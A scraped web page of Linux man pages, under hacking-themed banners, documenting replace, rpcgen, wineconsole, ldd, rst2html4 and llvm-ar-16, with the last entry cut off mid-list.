The replace utility program changes strings in place in files or on the standard input.

Invoke replace in one of the following ways:

shell> replace from to [from to] … – file_name [file_name] … shell> replace from to [from to] … < file_name

from represents a string to look for and to represents its replacement. There can be one or more pairs of strings.

Use the option to indicate where the string-replacement list ends and the file names begin. In this case, any file named on the command line is modified in place, so you may want to make a copy of the original before converting it. replace prints a message indicating which of the input files it actually modifies.

If the option is not given, replace reads the standard input and writes to the standard output.

replace uses a finite state machine to match longer strings first. It can be used to swap strings. For example, the following command swaps a and b in the given files, file1 and file2:

shell> replace a b b a – file1 file2 …

The replace program is used by msql2mysql. See msql2mysql(1).

replace supports the following options.

·

-?, -I

Display a help message and exit.

·

**-#**debug_options

Enable debugging.

·

-s

Silent mode. Print less information what the program does.

·

-v

Verbose mode. Print more information about what the program does.

·

-V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

682 - Linux cli command rpcgen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rpcgen and provides detailed information about the command rpcgen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rpcgen.

NAME 🖥️ rpcgen 🖥️

an RPC protocol compiler

SYNOPSIS

rpcgen infile



rpcgen [-Dname[=value]] [-T] [-K secs] infile



rpcgen -c|-h|-l|-m|-M|-t [-o outfile ] infile



rpcgen [-I] -s nettype [-o outfile] infile



rpcgen -n netid [-o outfile] infile

DESCRIPTION

rpcgen is a tool that generates C code to implement an RPC protocol. The input to rpcgen is a language similar to C known as RPC Language (Remote Procedure Call Language).

rpcgen is normally used as in the first synopsis where it takes an input file and generates up to four output files. If the infile is named proto.x, then rpcgen will generate a header file in proto.h, XDR routines in proto_xdr.c, server-side stubs in proto_svc.c, and client-side stubs in proto_clnt.c. With the -T option, it will also generate the RPC dispatch table in proto_tbl.i. With the -Sc option, it will also generate sample code which would illustrate how to use the remote procedures on the client side. This code would be created in proto_client.c. With the -Ss option, it will also generate a sample server code which would illustrate how to write the remote procedures. This code would be created in proto_server.c.

The server created can be started both by the port monitors (for example, inetd or listen) or by itself. When it is started by a port monitor, it creates servers only for the transport for which the file descriptor 0 was passed. The name of the transport must be specified by setting up the environmental variable PM_TRANSPORT. When the server generated by rpcgen is executed, it creates server handles for all the transports specified in NETPATH environment variable, or if it is unset, it creates server handles for all the visible transports from /etc/netconfig file. Note: the transports are chosen at run time and not at compile time.

When built for a port monitor (rpcgen -I), and that the server is self-started, it backgrounds itself by default. A special define symbol RPC_SVC_FG can be used to run the server process in foreground.

The second synopsis provides special features which allow for the creation of more sophisticated RPC servers. These features include support for user provided #defines and RPC dispatch tables. The entries in the RPC dispatch table contain:

·
pointers to the service routine corresponding to that procedure,

·
a pointer to the input and output arguments

·
the size of these routines

A server can use the dispatch table to check authorization and then to execute the service routine; a client library may use it to deal with the details of storage management and XDR data conversion.

The other three synopses shown above are used when one does not want to generate all the output files, but only a particular one. Some examples of their usage is described in the EXAMPLE section below. When rpcgen is executed with the -s option, it creates servers for that particular class of transports. When executed with the -n option, it creates a server for the transport specified by netid. If infile is not specified, rpcgen accepts the standard input.

The C preprocessor, cc -E [see cc(1)], is run on the input file before it is actually interpreted by rpcgen. For each type of output file, rpcgen defines a special preprocessor symbol for use by the rpcgen programmer:

RPC_HDR
defined when compiling into header files

RPC_XDR
defined when compiling into XDR routines

RPC_SVC
defined when compiling into server-side stubs

RPC_CLNT
defined when compiling into client-side stubs

RPC_TBL
defined when compiling into RPC dispatch tables

Any line beginning with `%’ is passed directly into the output file, uninterpreted by rpcgen.

For every data type referred to in infile, rpcgen assumes that there exists a routine with the string xdr_ prepended to the name of the data type. If this routine does not exist in the RPC/XDR library, it must be provided. Providing an undefined data type allows customization of XDR routines.

The following options are available:

-a
Generate all the files including sample code for client and server side.

-b
This generates code for the SunOS4.1 style of rpc. It is for backward compatibility. This is the default.

-5
This generates code for the SysVr4 style of rpc. It is used by the Transport Independent RPC that is in Svr4 systems. By default rpcgen generates code for SunOS4.1 stype of rpc.

-c
Compile into XDR routines.

-C
Generate code in ANSI C. This option also generates code that could be compiled with the C++ compiler. This is the default.

-k
Generate code in K&R C. The default is ANSI C.

-Dname[=value]
Define a symbol name. Equivalent to the #define directive in the source. If no value is given, value is defined as 1. This option may be specified more than once.

-h
Compile into C data-definitions (a header file). -T option can be used in conjunction to produce a header file which supports RPC dispatch tables.

-I
Generate a service that can be started from inetd. The default is to generate a static service that handles transports selected with -s. Using -I allows starting a service by either method.

-K secs
By default, services created using rpcgen wait 120 seconds after servicing a request before exiting. That interval can be changed using the -K flag. To create a server that exits immediately upon servicing a request, -K 0 can be used. To create a server that never exits, the appropriate argument is -K -1.

When monitoring for a server, some portmonitors, like listen(1M), always spawn a new process in response to a service request. If it is known that a server will be used with such a monitor, the server should exit immediately on completion. For such servers, rpcgen should be used with -K -1.

-l
Compile into client-side stubs.

-m
Compile into server-side stubs, but do not generate a “main” routine. This option is useful for doing callback-routines and for users who need to write their own “main” routine to do initialization.

-M
Generate multithread-safe stubs for passing arguments and results between rpcgen-generated code and user written code. This option is useful for users who want to use threads in their code.

-n netid
Compile into server-side stubs for the transport specified by netid. There should be an entry for netid in the netconfig database. This option may be specified more than once, so as to compile a server that serves multiple transports.

-N
Use the newstyle of rpcgen. This allows procedures to have multiple arguments. It also uses the style of parameter passing that closely resembles C. So, when passing an argument to a remote procedure you do not have to pass a pointer to the argument but the argument itself. This behaviour is different from the oldstyle of rpcgen generated code. The newstyle is not the default case because of backward compatibility.

-o outfile
Specify the name of the output file. If none is specified, standard output is used (-c, -h, -l, -m, -n, -s, -Sc, -Sm, -Ss, and -t modes only).

-s nettype
Compile into server-side stubs for all the transports belonging to the class nettype. The supported classes are netpath, visible, circuit_n, circuit_v, datagram_n, datagram_v, tcp, and udp [see rpc(3N) for the meanings associated with these classes]. This option may be specified more than once. Note: the transports are chosen at run time and not at compile time.

-Sc
Generate sample code to show the use of remote procedure and how to bind to the server before calling the client side stubs generated by rpcgen.

-Sm
Generate a sample Makefile which can be used for compiling the application.

-Ss
Generate skeleton code for the remote procedures on the server side. You would need to fill in the actual code for the remote procedures.

-t
Compile into RPC dispatch table.

-T
Generate the code to support RPC dispatch tables.

The options -c, -h, -l, -m, -s and -t are used exclusively to generate a particular type of file, while the options -D and -T are global and can be used with the other options.

NOTES

The RPC Language does not support nesting of structures. As a work-around, structures can be declared at the top-level, and their name used inside other structures in order to achieve the same effect.

Name clashes can occur when using program definitions, since the apparent scoping does not really apply. Most of these can be avoided by giving unique names for programs, versions, procedures and types.

The server code generated with -n option refers to the transport indicated by netid and hence is very site specific.

EXAMPLE

The following example:

$ rpcgen -T prot.x

generates the five files: prot.h, prot_clnt.c, prot_svc.c, prot_xdr.c and prot_tbl.i.

The following example sends the C data-definitions (header file) to the standard output.

$ rpcgen -h prot.x

To send the test version of the -DTEST, server side stubs for all the transport belonging to the class datagram_n to standard output, use:

$ rpcgen -s datagram_n -DTEST prot.x

To create the server side stubs for the transport indicated by netid tcp, use:

$ rpcgen -n tcp -o prot_svc.c prot.x

SEE ALSO

cc(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

683 - Linux cli command wineconsole

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineconsole and provides detailed information about the command wineconsole, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineconsole.

NAME 🖥️ wineconsole 🖥️

The Wine console

SYNOPSIS

wineconsole [command]

DESCRIPTION

wineconsole is the Wine console manager, used to run console commands and applications. It allows running the console in a newly made window.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineconsole is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

684 - Linux cli command ldd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldd and provides detailed information about the command ldd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldd.

NAME 🖥️ ldd 🖥️

print shared object dependencies

SYNOPSIS

ldd [option]... file...

DESCRIPTION

ldd prints the shared objects (shared libraries) required by each program or shared object specified on the command line. An example of its use and output is the following:

$ ldd /bin/ls
    linux-vdso.so.1 (0x00007ffcc3563000)
    libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f87e5459000)
    libcap.so.2 => /lib64/libcap.so.2 (0x00007f87e5254000)
    libc.so.6 => /lib64/libc.so.6 (0x00007f87e4e92000)
    libpcre.so.1 => /lib64/libpcre.so.1 (0x00007f87e4c22000)
    libdl.so.2 => /lib64/libdl.so.2 (0x00007f87e4a1e000)
    /lib64/ld-linux-x86-64.so.2 (0x00005574bf12e000)
    libattr.so.1 => /lib64/libattr.so.1 (0x00007f87e4817000)
    libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f87e45fa000)

In the usual case, ldd invokes the standard dynamic linker (see ld.so(8)) with the LD_TRACE_LOADED_OBJECTS environment variable set to 1. This causes the dynamic linker to inspect the program’s dynamic dependencies, and find (according to the rules described in ld.so(8)) and load the objects that satisfy those dependencies. For each dependency, ldd displays the location of the matching object and the (hexadecimal) address at which it is loaded. (The linux-vdso and ld-linux shared dependencies are special; see vdso(7) and ld.so(8).)

Security

Be aware that in some circumstances (e.g., where the program specifies an ELF interpreter other than ld-linux.so), some versions of ldd may attempt to obtain the dependency information by attempting to directly execute the program, which may lead to the execution of whatever code is defined in the program’s ELF interpreter, and perhaps to execution of the program itself. (Before glibc 2.27, the upstream ldd implementation did this for example, although most distributions provided a modified version that did not.)

Thus, you should never employ ldd on an untrusted executable, since this may result in the execution of arbitrary code. A safer alternative when dealing with untrusted executables is:

$ objdump -p /path/to/program | grep NEEDED

Note, however, that this alternative shows only the direct dependencies of the executable, while ldd shows the entire dependency tree of the executable.

OPTIONS

–version
Print the version number of ldd.

–verbose
-v
Print all information, including, for example, symbol versioning information.

–unused
-u
Print unused direct dependencies. (Since glibc 2.3.4.)

–data-relocs
-d
Perform relocations and report any missing objects (ELF only).

–function-relocs
-r
Perform relocations for both data objects and functions, and report any missing objects or functions (ELF only).

–help
Usage information.

BUGS

ldd does not work on a.out shared libraries.

ldd does not work with some extremely old a.out programs which were built before ldd support was added to the compiler releases. If you use ldd on one of these programs, the program will attempt to run with argc = 0 and the results will be unpredictable.

SEE ALSO

pldd(1), sprof(1), ld.so(8), ldconfig(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

685 - Linux cli command rst2html4

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2html4 and provides detailed information about the command rst2html4, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2html4.

NAME 🖥️ rst2html4 🖥️

convert reST documents to XHTML

SYNOPSIS

rst2html4 [options] [<source> [<destination>]]

DESCRIPTION

Generate XHTML 1.1 documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/html.html#html4css1> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/docutils/writers/html4css1/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “html4css1.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docut ils/writers/html4css1,/usr/share/docutils/writers/html 5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 1 for “<h1>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration (default).

–no-xml-declaration
Omit the XML declaration.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML4 Writer Options

–field-name-limit=*****<level>*
Specify the maximum width (in characters) for one- column field names. Longer field names will span an entire row of the table used to render the field list. Default is 14 characters. Use 0 for “no limit”.

–option-limit=*****<level>*
Specify the maximum width (in characters) for options in option lists. Longer options will span an entire row of the table used to render the option list. Default is 14 characters. Use 0 for “no limit”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

686 - Linux cli command llvm-ar-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ar-16 and provides detailed information about the command llvm-ar-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ar-16.

NAME 🖥️ llvm-ar-16 🖥️

ar - LLVM archiver

SYNOPSIS

llvm-ar [-]{dmpqrstx}[abcDilLNoOPsSTuUvV] [relpos] [count] archive [files…]

DESCRIPTION

The llvm-ar command is similar to the common Unix utility, ar. It archives several files, such as objects and LLVM bitcode files into a single archive library that can be linked into a program. However, the archive can contain any kind of file. By default, llvm-ar generates a symbol table that makes linking faster because only the symbol table needs to be consulted, not each individual file member of the archive.

The llvm-ar command can be used to read archive files in SVR4, GNU, BSD , Big Archive, and Darwin format, and write in the GNU, BSD, Big Archive, and Darwin style archive files. If an SVR4 format archive is used with the r (replace), d (delete), m (move) or q (quick update) operations, the archive will be reconstructed in the format defined by –format.

Here’s where llvm-ar departs from previous ar implementations:

The following option is not supported

[f] - truncate inserted filenames

The following options are ignored for compatibility

–plugin=<string> - load a plugin which adds support for other file formats

[l] - ignored in ar

Symbol Table

Since llvm-ar supports bitcode files, the symbol table it creates includes both native and bitcode symbols.

Deterministic Archives

By default, llvm-ar always uses zero for timestamps and UIDs/GIDs to write archives in a deterministic mode. This is equivalent to the D modifier being enabled by default. If you wish to maintain compatibility with other ar implementations, you can pass the U modifier to write actual timestamps and UIDs/GIDs.

Windows Paths

When on Windows llvm-ar treats the names of archived files in the same case sensitive manner as the operating system. When on a non-Windows machine llvm-ar does not consider character case.

OPTIONS

llvm-ar operations are compatible with other ar implementations. However, there are a few modifiers (L) that are not found in other ar implementations. The options for llvm-ar specify a single basic Operation to perform on the archive, a variety of Modifiers for that Operation, the name of the archive file, and an optional list of file names. If the files option is not specified, it generally means either “none” or “all” members, depending on the operation. The Options, Operations and Modifiers are explained in the sections below.

The minimal set of options is at least one operator and the name of the archive.

Operations

d [NT]
Delete files from the archive. The N and T modifiers apply to this operation. The files options specify which members should be removed from the archive. It is not an error if a specified file does not appear in the archive. If no files are specified, the archive is not modified.

m [abi]
Move files from one location in the archive to another. The a, b, and i modifiers apply to this operation. The files will all be moved to the location given by the modifiers. If no modifiers are used, the files will be moved to the end of the archive. If no files are specified, the archive is not modified.

p [v]
Print files to the standard output stream. If no files are specified, the entire archive is printed. With the v modifier, llvm-ar also prints out the name of the file being output. Printing binary files is ill-advised as they might confuse your terminal settings. The p operation never modifies the archive.

q [LT]
Quickly append files to the end of the archive without removing duplicates. If no files are specified, the archive is not modified. The behavior when appending one archive to another depends upon whether the L and T modifiers are used:

  • Appending a regular archive to a regular archive will append the archive file. If the L modifier is specified the members will be appended instead.

  • Appending a regular archive to a thin archive requires the T modifier and will append the archive file. The L modifier is not supported.

  • Appending a thin archive to a regular archive will append the archive file. If the L modifier is specified the members will be appended instead.

  • Appending a thin archive to a thin archive will always quick append its members.

r [abTu]
Replace existing files or insert them at the end of the archive if they do not exist. The a, b, T and u modifiers apply to this operation. If no files are specified, the archive is not modified.

t[v] .. option:: t [vO]

Print the table of contents. Without any modifiers, this operation just prints the names of the members to the standard output stream. With the v modifier, llvm-ar also prints out the file type (B=bitcode, S=symbol table, blank=regular file), the permission mode, the owner and group, are ignored when extracting files and set to placeholder values when adding size, and the date. With the O modifier, display member offsets. If any files are specified, the listing is only for those files. If no files are specified, the table of contents for the whole archive is printed.

V
A synonym for the –version option.

x [oP]
Extract archive members back to files. The o modifier applies to this operation. This operation retrieves the indicated files from the archive and writes them back to the operating system’s file system. If no files are specified, the entire archive is extracted.

Modifiers (operation specific)

The modifiers below are specific to certain operations. See the Operations section to determine which modifiers are applicable to which operations.

a
When inserting or moving member files, this option specifies the destination of the new files as being after the relpos member. If relpos is not found, the files are placed at the end of the archive. relpos cannot be consumed without either a, b or i.

b
When inserting or moving member files, this option specifies the destination of the new files as being before the relpos member. If relpos is not found, the files are placed at the end of the archive. relpos cannot be consumed without either a, b or i. This modifier is identical to the i modifier.

i
A synonym for the b option.

L
When quick appending an archive, instead quick append its members. This is a feature for llvm-ar that is not found in gnu-ar.

N
When extracting or deleting a member that shares its name with another member, the count parameter allows you to supply a positive whole number that selects the instance of the given name, with “1” indicating the first instance. If N is not specified the first member of that name will be selected. If count is not supplied, the operation fails.*count* cannot be

o
When extracting files, use the modification times of any files as they appear in the archive. By default files extracted from the archive use the time of extraction.

O
Display member offsets inside the archive.

T
Alias for –thin. In many ar implementations T has a different meaning, as specified by X/Open System interface.

v
When printing files or the archive table of contents, this modifier instructs llvm-ar to include additional information in the output.

Modifiers (generic)

The modifiers below may be applied to any operation.

c
For the r (replace)and q (quick update) operations, llvm-ar will always create the archive if it doesn’t exist. Normally, llvm-ar will print a warning message indicating that the archive is being created. Using this modifier turns off that warning.

D
Use zero for timestamps and UIDs/GIDs. This is set by default.

P
Use full paths when matching member names rather than just the file name. This can be useful when manipulating an archive generated by another archiver, as some allow paths as member names. This is the default behavior for thin archives.

s
This modifier requests that an archive index (or symbol table) be added to the archive, as if using ranlib. The symbol table will contain all the externally visible functions and global variables defined by all the bitcode files in the archive. By default llvm-ar generates symbol tables in archives. This can also be used as an operation.

S
This modifier is the opposite of the s modifier. It instructs llvm-ar to not build the symbol table. If both s and S are used, the last modifier to occur in the options will prevail.

u
Only update archive members with files that have more recent timestamps.

U
